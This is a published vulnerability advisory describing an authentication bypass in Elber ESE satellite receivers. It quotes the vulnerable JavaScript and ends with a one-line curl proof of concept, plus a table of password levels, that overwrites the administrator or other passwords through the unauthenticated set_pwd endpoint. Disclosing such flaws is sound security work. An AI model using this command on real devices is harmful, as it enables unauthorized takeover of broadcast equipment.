[webapps] Elber ESE DVB-S/S2 Satellite Receiver 1.5.x - Authentication Bypass

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass Vendor: Elber S.r.l. Product web page: https://www.elber.it Affected version: 1.5.179 Revision 904 1.5.56 Revision 884 1.229 Revision 440 Summary: ESE (Elber Satellite Equipment) product line, designed for the high-end radio contribution and distribution market, where quality and reliability are most important. The Elber IRD (Integrated Receiver Decoder) ESE-01 offers a professional audio quality (and composite video) at an excellent quality/price ratio. The development of digital satellite contribution networks and the need to connect a large number of sites require a cheap but reliable and performing satellite receiver with integrated decoder. Desc: The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device's system security. -------------------------------------------------------------------------- /modules/pwd.html ------------------ 50: function apply_pwd(level, pwd) 51: { 52: $.get("json_data/set_pwd", {lev:level, pass:pwd}, 53: function(data){ 54: //$.alert({title:'Operation',text:data}); 55: show_message(data); 56: }).fail(function(error){ 57: show_message('Error ' + error.status, 'error'); 58: }); 59: } -------------------------------------------------------------------------- Tested on: NBFM Controller embOS/IP Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2024-5820 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5820.php 18.08.2023 -- $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234 Ref (lev param): Level 7 = SNMP Write Community (snmp_write_pwd) Level 6 = SNMP Read Community (snmp_read_pwd) Level 5 = Custom Password? hidden. (custom_pwd) Level 4 = Display Password (display_pwd)? Level 2 = Administrator Password (admin_pwd) Level 1 = Super User Password (puser_pwd) Level 0 = User Password (user_pwd)